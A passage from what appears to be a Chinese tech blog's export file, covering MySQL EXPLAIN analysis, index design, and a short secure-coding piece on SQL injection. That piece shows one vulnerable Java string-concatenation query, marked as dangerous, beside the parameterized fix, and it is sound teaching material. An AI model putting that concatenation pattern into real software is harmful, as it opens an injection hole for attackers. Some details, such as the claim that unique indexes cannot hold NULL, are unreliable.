<span class="keyword">WHERE</span> amount <span class="operator">&gt;</span> <span class="number">100</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+----+-------------+---------+</span><br><span class="line">| id | select_type | table   |</span><br><span class="line">+----+-------------+---------+</span><br><span class="line">|  1 | PRIMARY     | user    |</span><br><span class="line">|  2 | SUBQUERY    | orders  |</span><br><span class="line">+----+-------------+---------+</span><br></pre></td></tr></table></figure><ul><li>id相同：从上到下执行</li><li>id不同：id大的先执行</li><li>id有相同有不同：先执行id大的，相同的从上到下</li></ul><p>#</p><h2 id="2-2-select-type字段"><a href="#2-2-select-type字段" class="headerlink" title="2.2 select_type字段"></a>2.2 select_type字段</h2><table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td>SIMPLE</td><td>简单查询，无子查询或UNION</td></tr><tr><td>PRIMARY</td><td>最外层查询</td></tr><tr><td>SUBQUERY</td><td>SELECT中的子查询</td></tr><tr><td>DERIVED</td><td>FROM中的子查询（派生表）</td></tr><tr><td>UNION</td><td>UNION中的第二个及后续查询</td></tr><tr><td>UNION RESULT</td><td>UNION的结果合并</td></tr><tr><td>DEPENDENT SUBQUERY</td><td>依赖外部查询的子查询</td></tr><tr><td>MATERIALIZED</td><td>物化子查询（MySQL 5.6+）</td></tr></tbody></table><p>#</p><h2 id="2-3-type字段（重点）"><a href="#2-3-type字段（重点）" class="headerlink" title="2.3 type字段（重点）"></a>2.3 type字段（重点）</h2><p>性能从好到差排序：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">system &gt; const &gt; eq_ref &gt; ref &gt; range &gt; index &gt; ALL</span><br></pre></td></tr></table></figure><p><strong>system</strong>：表只有一行，是const的特例</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> mysql.proxies_priv;</span><br><span class="line"><span class="comment">-- type: system（系统表通常只有一行）</span></span><br></pre></td></tr></table></figure><p><strong>const</strong>：通过主键或唯一索引一次命中</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="comment">-- type: const</span></span><br></pre></td></tr></table></figure><p><strong>eq_ref</strong>：JOIN中通过主键或唯一索引关联，对于前表的每一行，后表只有一行匹配</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> u </span><br><span class="line"><span class="keyword">JOIN</span> orders o <span class="keyword">ON</span> u.id <span class="operator">=</span> o.user_id;</span><br><span class="line"><span class="comment">-- type: eq_ref（假设orders.user_id有唯一索引）</span></span><br></pre></td></tr></table></figure><p><strong>ref</strong>：使用非唯一索引</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span>;</span><br><span class="line"><span class="comment">-- type: ref（name是普通索引）</span></span><br></pre></td></tr></table></figure><p><strong>range</strong>：索引范围扫描</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="keyword">BETWEEN</span> <span class="number">1</span> <span class="keyword">AND</span> <span class="number">100</span>;</span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="keyword">IN</span> (<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>);</span><br><span class="line"><span class="comment">-- type: range</span></span><br></pre></td></tr></table></figure><p><strong>index</strong>：全索引扫描</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> name <span class="keyword">FROM</span> <span class="keyword">user</span>;</span><br><span class="line"><span class="comment">-- type: index（覆盖索引，扫描整个索引树）</span></span><br></pre></td></tr></table></figure><p><strong>ALL</strong>：全表扫描</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> age <span class="operator">&gt;</span> <span class="number">0</span>;</span><br><span class="line"><span class="comment">-- type: ALL（无索引或索引未使用）</span></span><br></pre></td></tr></table></figure><p><strong>优化目标</strong>：至少达到range级别，最好达到ref或更高。</p><p>#</p><h2 id="2-4-key和key-len"><a href="#2-4-key和key-len" class="headerlink" title="2.4 key和key_len"></a>2.4 key和key_len</h2><p><strong>key</strong>：实际使用的索引。NULL表示未使用索引。</p><p><strong>key_len</strong>：索引使用的字节数。可用于判断是否使用了索引的全部列：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 联合索引(name, age)，name是VARCHAR(20)</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span>;</span><br><span class="line"><span class="comment">-- key_len: 63（name列长度：20*3 + 3字节变长开销）</span></span><br><span class="line"></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span> <span class="keyword">AND</span> age <span class="operator">=</span> <span class="number">20</span>;</span><br><span class="line"><span class="comment">-- key_len: 68（加上age的INT 4字节 + 1字节NULL标志）</span></span><br></pre></td></tr></table></figure><p>常用类型的key_len计算：<br>| 数据类型 | key_len |<br>|———|———|<br>| INT | 4（非NULL）/ 5（可为NULL）|<br>| BIGINT | 8 / 9 |<br>| VARCHAR(n) | n * charset字节 + 2 |<br>| CHAR(n) | n * charset字节 |<br>| DATETIME | 5 / 6 |</p><p>#</p><h2 id="2-5-rows字段"><a href="#2-5-rows字段" class="headerlink" title="2.5 rows字段"></a>2.5 rows字段</h2><p>MySQL估算的扫描行数。<strong>这个值越小越好</strong>。</p><p>#</p><h2 id="2-6-Extra字段（重点）"><a href="#2-6-Extra字段（重点）" class="headerlink" title="2.6 Extra字段（重点）"></a>2.6 Extra字段（重点）</h2><table><thead><tr><th>值</th><th>含义</th><th>是否优化</th></tr></thead><tbody><tr><td>Using index</td><td>覆盖索引，无需回表</td><td>优</td></tr><tr><td>Using where</td><td>使用WHERE过滤</td><td>正常</td></tr><tr><td>Using index condition</td><td>索引条件下推</td><td>优</td></tr><tr><td>Using filesort</td><td>需要额外排序</td><td>差，需优化</td></tr><tr><td>Using temporary</td><td>使用临时表</td><td>差，需优化</td></tr><tr><td>Using join buffer</td><td>使用连接缓存</td><td>正常</td></tr><tr><td>Impossible WHERE</td><td>WHERE条件永远为false</td><td>正常</td></tr><tr><td>Select tables optimized away</td><td>优化器确定只返回一行</td><td>优</td></tr></tbody></table><p><strong>Using filesort示例与优化</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 无索引或索引不满足排序需求</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> age LIMIT <span class="number">10</span>;</span><br><span class="line"><span class="comment">-- Extra: Using filesort</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化：添加索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_age <span class="keyword">ON</span> <span class="keyword">user</span>(age);</span><br><span class="line"><span class="comment">-- Extra: Using index</span></span><br></pre></td></tr></table></figure><p><strong>Using temporary示例与优化</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- GROUP BY + 排序导致临时表</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> status, <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">GROUP</span> <span class="keyword">BY</span> status;</span><br><span class="line"><span class="comment">-- Extra: Using temporary; Using filesort</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化：复合索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_status <span class="keyword">ON</span> <span class="keyword">user</span>(status);</span><br><span class="line"><span class="comment">-- Extra: Using index</span></span><br></pre></td></tr></table></figure><h2 id="三、EXPLAIN-ANALYZE（MySQL-8-0-18-）"><a href="#三、EXPLAIN-ANALYZE（MySQL-8-0-18-）" class="headerlink" title="三、EXPLAIN ANALYZE（MySQL 8.0.18+）"></a>三、EXPLAIN ANALYZE（MySQL 8.0.18+）</h2><p>不仅显示计划，还显示实际执行时间：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN ANALYZE <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">&gt;</span> <span class="number">100</span> LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>输出示例：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-&gt; Limit: 10 row(s)  (cost=11.25..11.35 rows=10) (actual time=0.089..0.095 rows=10 loops=1)</span><br><span class="line">    -&gt; Index range scan on user using PRIMARY, with index condition: (user.id &gt; 100)  (cost=11.25..46.25 rows=350) (actual time=0.087..0.091 rows=10 loops=1)</span><br></pre></td></tr></table></figure><p>关键信息：</p><ul><li><strong>cost</strong>：预估成本</li><li><strong>actual time</strong>：实际耗时</li><li><strong>rows</strong>：实际返回/扫描行数</li><li><strong>loops</strong>：循环次数</li></ul><h2 id="四、实战案例分析"><a href="#四、实战案例分析" class="headerlink" title="四、实战案例分析"></a>四、实战案例分析</h2><p>#</p><h2 id="4-1-案例一：索引失效分析"><a href="#4-1-案例一：索引失效分析" class="headerlink" title="4.1 案例一：索引失效分析"></a>4.1 案例一：索引失效分析</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> </span><br><span class="line"><span class="keyword">WHERE</span> <span class="keyword">YEAR</span>(create_time) <span class="operator">=</span> <span class="number">2024</span>;</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+</span><br><span class="line">| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows   | Extra       |</span><br><span class="line">+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+</span><br><span class="line">|  1 | SIMPLE      | user  | ALL  | NULL          | NULL | NULL    | NULL | 100000 | Using where |</span><br><span class="line">+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+</span><br></pre></td></tr></table></figure><p><strong>问题诊断</strong>：</p><ul><li>type=ALL：全表扫描</li><li>key=NULL：未使用索引</li><li>原因：函数操作导致索引失效</li></ul><p><strong>优化方案</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 改写为范围查询</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> </span><br><span class="line"><span class="keyword">WHERE</span> create_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01&#x27;</span> </span><br><span class="line">  <span class="keyword">AND</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2025-01-01&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- EXPLAIN结果</span></span><br><span class="line"><span class="comment">-- type: range</span></span><br><span class="line"><span class="comment">-- key: idx_create_time</span></span><br><span class="line"><span class="comment">-- Extra: Using index condition</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-案例二：隐式转换分析"><a href="#4-2-案例二：隐式转换分析" class="headerlink" title="4.2 案例二：隐式转换分析"></a>4.2 案例二：隐式转换分析</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- phone字段是VARCHAR类型</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> phone <span class="operator">=</span> <span class="number">13800138000</span>;</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+</span><br><span class="line">| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows   | Extra       |</span><br><span class="line">+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+</span><br><span class="line">|  1 | SIMPLE      | user  | ALL  | idx_phone     | NULL | NULL    | NULL | 100000 | Using where |</span><br><span class="line">+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+</span><br></pre></td></tr></table></figure><p><strong>问题诊断</strong>：</p><ul><li>possible_keys有idx_phone，但key=NULL</li><li>发生隐式类型转换，索引未使用</li></ul><p><strong>优化方案</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> phone <span class="operator">=</span> <span class="string">&#x27;13800138000&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-案例三：ORDER-BY优化"><a href="#4-3-案例三：ORDER-BY优化" class="headerlink" title="4.3 案例三：ORDER BY优化"></a>4.3 案例三：ORDER BY优化</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> </span><br><span class="line"><span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="number">1</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Extra: Using where; Using filesort</span><br></pre></td></tr></table></figure><p><strong>优化方案</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 添加复合索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_status_time <span class="keyword">ON</span> <span class="keyword">user</span>(status, create_time);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化后Extra: Using index</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-案例四：JOIN优化"><a href="#4-4-案例四：JOIN优化" class="headerlink" title="4.4 案例四：JOIN优化"></a>4.4 案例四：JOIN优化</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> u.name, o.amount </span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">user</span> u </span><br><span class="line"><span class="keyword">LEFT</span> <span class="keyword">JOIN</span> orders o <span class="keyword">ON</span> u.id <span class="operator">=</span> o.user_id </span><br><span class="line"><span class="keyword">WHERE</span> o.create_time <span class="operator">&gt;</span> <span class="string">&#x27;2024-01-01&#x27;</span>;</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+----+-------------+-------+--------+---------------+---------+---------+-----------------+--------+-------------+</span><br><span class="line">| id | select_type | table | type   | possible_keys | key     | key_len | ref             | rows   | Extra       |</span><br><span class="line">+----+-------------+-------+--------+---------------+---------+---------+-----------------+--------+-------------+</span><br><span class="line">|  1 | SIMPLE      | o     | ALL    | idx_user_time | NULL    | NULL    | NULL            | 500000 | Using where |</span><br><span class="line">|  1 | SIMPLE      | u     | eq_ref | PRIMARY       | PRIMARY | 8       | test.o.user_id  | 1      |             |</span><br><span class="line">+----+-------------+-------+--------+---------------+---------+---------+-----------------+--------+-------------+</span><br></pre></td></tr></table></figure><p><strong>问题诊断</strong>：</p><ul><li>orders表全表扫描（type=ALL）</li><li>原因：LEFT JOIN + WHERE条件在右表，导致优化器将LEFT JOIN转为INNER JOIN</li></ul><p><strong>优化方案</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 改为INNER JOIN</span></span><br><span class="line"><span class="keyword">SELECT</span> u.name, o.amount </span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">user</span> u </span><br><span class="line"><span class="keyword">JOIN</span> orders o <span class="keyword">ON</span> u.id <span class="operator">=</span> o.user_id </span><br><span class="line"><span class="keyword">WHERE</span> o.create_time <span class="operator">&gt;</span> <span class="string">&#x27;2024-01-01&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 或确保orders表有合适的索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_time_user <span class="keyword">ON</span> orders(create_time, user_id);</span><br></pre></td></tr></table></figure><h2 id="五、SHOW-WARNINGS"><a href="#五、SHOW-WARNINGS" class="headerlink" title="五、SHOW WARNINGS"></a>五、SHOW WARNINGS</h2><p>EXPLAIN后执行SHOW WARNINGS可以看到优化器改写后的SQL：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">SHOW</span> WARNINGS \G;</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Level: Note</span><br><span class="line">Code: 1003</span><br><span class="line">Message: /* select#1 */ select `test`.`user`.`id` AS `id`,...</span><br><span class="line">from `test`.`user`</span><br><span class="line">where (`test`.`user`.`id` = 1)</span><br></pre></td></tr></table></figure><h2 id="六、优化流程总结"><a href="#六、优化流程总结" class="headerlink" title="六、优化流程总结"></a>六、优化流程总结</h2><p>#</p><h2 id="6-1-EXPLAIN分析步骤"><a href="#6-1-EXPLAIN分析步骤" class="headerlink" title="6.1 EXPLAIN分析步骤"></a>6.1 EXPLAIN分析步骤</h2><ol><li><strong>看type</strong>：是否达到range及以上，避免ALL</li><li><strong>看key</strong>：是否使用了预期的索引</li><li><strong>看rows</strong>：扫描行数是否合理</li><li><strong>看Extra</strong>：是否存在Using filesort、Using temporary</li><li><strong>看key_len</strong>：索引是否充分利用</li></ol><p>#</p><h2 id="6-2-优化决策树"><a href="#6-2-优化决策树" class="headerlink" title="6.2 优化决策树"></a>6.2 优化决策树</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">EXPLAIN分析</span><br><span class="line">    │</span><br><span class="line">    ├── type = ALL?</span><br><span class="line">    │       ├── 是 → 是否必要？</span><br><span class="line">    │       │       ├── 小表 → 可接受</span><br><span class="line">    │       │       └── 大表 → 添加索引/改写SQL</span><br><span class="line">    │       └── 否 → 继续</span><br><span class="line">    │</span><br><span class="line">    ├── key = NULL?（possible_keys有值）</span><br><span class="line">    │       ├── 是 → 索引失效？</span><br><span class="line">    │       │       ├── 函数操作 → 改写SQL</span><br><span class="line">    │       │       ├── 隐式转换 → 统一类型</span><br><span class="line">    │       │       ├── LIKE &#x27;%x%&#x27; → 改为前缀匹配</span><br><span class="line">    │       │       └── OR条件 → 改用UNION</span><br><span class="line">    │       └── 否 → 继续</span><br><span class="line">    │</span><br><span class="line">    ├── Extra含filesort?</span><br><span class="line">    │       ├── 是 → 添加排序列到索引</span><br><span class="line">    │       └── 否 → 继续</span><br><span class="line">    │</span><br><span class="line">    └── Extra含temporary?</span><br><span class="line">            ├── 是 → 简化GROUP BY/ORDER BY</span><br><span class="line">            └── 否 → 优化完成</span><br></pre></td></tr></table></figure><h2 id="七、常用优化技巧速查"><a href="#七、常用优化技巧速查" class="headerlink" title="七、常用优化技巧速查"></a>七、常用优化技巧速查</h2><table><thead><tr><th>问题</th><th>EXPLAIN表现</th><th>解决方案</th></tr></thead><tbody><tr><td>全表扫描</td><td>type=ALL</td><td>添加索引，改写SQL</td></tr><tr><td>索引失效</td><td>possible_keys有值但key=NULL</td><td>避免函数、隐式转换、前导%</td></tr><tr><td>文件排序</td><td>Extra=Using filesort</td><td>索引包含排序列</td></tr><tr><td>临时表</td><td>Extra=Using temporary</td><td>简化GROUP BY，添加索引</td></tr><tr><td>回表多</td><td>非覆盖索引</td><td>添加查询列到索引（覆盖索引）</td></tr><tr><td>JOIN性能差</td><td>驱动表rows大</td><td>确保关联列有索引，小表驱动</td></tr></tbody></table><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><p>EXPLAIN是SQL优化的”X光机”。掌握以下要点：</p><ol><li><strong>重点关注</strong>：type、key、rows、Extra四个字段</li><li><strong>优化目标</strong>：type至少range，避免ALL；Extra避免filesort和temporary</li><li><strong>结合实践</strong>：用EXPLAIN ANALYZE验证实际执行时间</li><li><strong>持续监控</strong>：定期用慢查询日志发现需要优化的SQL</li></ol><p>熟练使用EXPLAIN，能大幅提升SQL优化效率，快速定位性能瓶颈。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SQL-注入原理和防护方法"><a href="#SQL-注入原理和防护方法" class="headerlink" title="SQL 注入原理和防护方法"></a>SQL 注入原理和防护方法</h1><p>SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL索引设计最佳实践</title>
      <link href="//mysql-index-design-best-practice/"/>
      <url>//mysql-index-design-best-practice/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL索引设计最佳实践"><a href="#MySQL索引设计最佳实践" class="headerlink" title="MySQL索引设计最佳实践"></a>MySQL索引设计最佳实践</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、索引设计的基本原则"><a href="#一、索引设计的基本原则" class="headerlink" title="一、索引设计的基本原则"></a>一、索引设计的基本原则</h2><p>#</p><h2 id="1-1-三星索引法则"><a href="#1-1-三星索引法则" class="headerlink" title="1.1 三星索引法则"></a>1.1 三星索引法则</h2><p>《高性能MySQL》提出的三星索引标准：</p><ul><li><strong>第一星</strong>：索引将相关的记录放在一起（减少IO）</li><li><strong>第二星</strong>：索引中的列顺序满足排序需求（避免文件排序）</li><li><strong>第三星</strong>：索引包含查询所需的所有列（覆盖索引，避免回表）</li></ul><p>#</p><h2 id="1-2-索引选择性（Cardinality）"><a href="#1-2-索引选择性（Cardinality）" class="headerlink" title="1.2 索引选择性（Cardinality）"></a>1.2 索引选择性（Cardinality）</h2><p>选择性 = 不同值数量 / 总记录数，越接近1越好：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看列的选择性</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> column_name) <span class="operator">/</span> <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">AS</span> selectivity</span><br><span class="line"><span class="keyword">FROM</span> table_name;</span><br></pre></td></tr></table></figure><p><strong>建议</strong>：选择性低于0.1的列，单独建索引效果不佳。</p><p>#</p><h2 id="1-3-索引长度估算"><a href="#1-3-索引长度估算" class="headerlink" title="1.3 索引长度估算"></a>1.3 索引长度估算</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看索引大小</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    database_name,</span><br><span class="line">    table_name,</span><br><span class="line">    index_name,</span><br><span class="line">    ROUND(stat_value <span class="operator">*</span> @<span class="variable">@innodb_page_size</span> <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> index_size_mb</span><br><span class="line"><span class="keyword">FROM</span> mysql.innodb_index_stats</span><br><span class="line"><span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;your_table&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="二、单列索引设计"><a href="#二、单列索引设计" class="headerlink" title="二、单列索引设计"></a>二、单列索引设计</h2><p>#</p><h2 id="2-1-主键索引"><a href="#2-1-主键索引" class="headerlink" title="2.1 主键索引"></a>2.1 主键索引</h2><p><strong>设计要点</strong>：</p><ol><li><p><strong>使用自增整数</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">user</span> (</span><br><span class="line">    id <span class="type">BIGINT</span> UNSIGNED AUTO_INCREMENT <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">    <span class="comment">-- ...</span></span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB;</span><br></pre></td></tr></table></figure></li><li><p><strong>避免使用业务字段作为主键</strong></p><ul><li>手机号可能变更</li><li>身份证号涉及隐私</li><li>UUID随机插入性能差</li></ul></li><li><p><strong>主键不宜过长</strong></p><ul><li>主键会复制到所有二级索引中</li><li>主键越长，二级索引越大</li></ul></li></ol><p>#</p><h2 id="2-2-唯一索引"><a href="#2-2-唯一索引" class="headerlink" title="2.2 唯一索引"></a>2.2 唯一索引</h2><p>确保业务唯一性的同时建立索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 方式一：UNIQUE约束</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">user</span> (</span><br><span class="line">    email <span class="type">VARCHAR</span>(<span class="number">100</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">    <span class="keyword">UNIQUE</span> KEY uk_email (email)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方式二：唯一索引</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX uk_phone <span class="keyword">ON</span> <span class="keyword">user</span>(phone);</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：唯一索引不能包含NULL（NULL不等于NULL）。</p><p>#</p><h2 id="2-3-普通索引"><a href="#2-3-普通索引" class="headerlink" title="2.3 普通索引"></a>2.3 普通索引</h2><p>为高频查询条件列创建：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_status <span class="keyword">ON</span> orders(status);</span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_create_time <span class="keyword">ON</span> orders(create_time);</span><br></pre></td></tr></table></figure><h2 id="三、联合索引设计"><a href="#三、联合索引设计" class="headerlink" title="三、联合索引设计"></a>三、联合索引设计</h2><p>#</p><h2 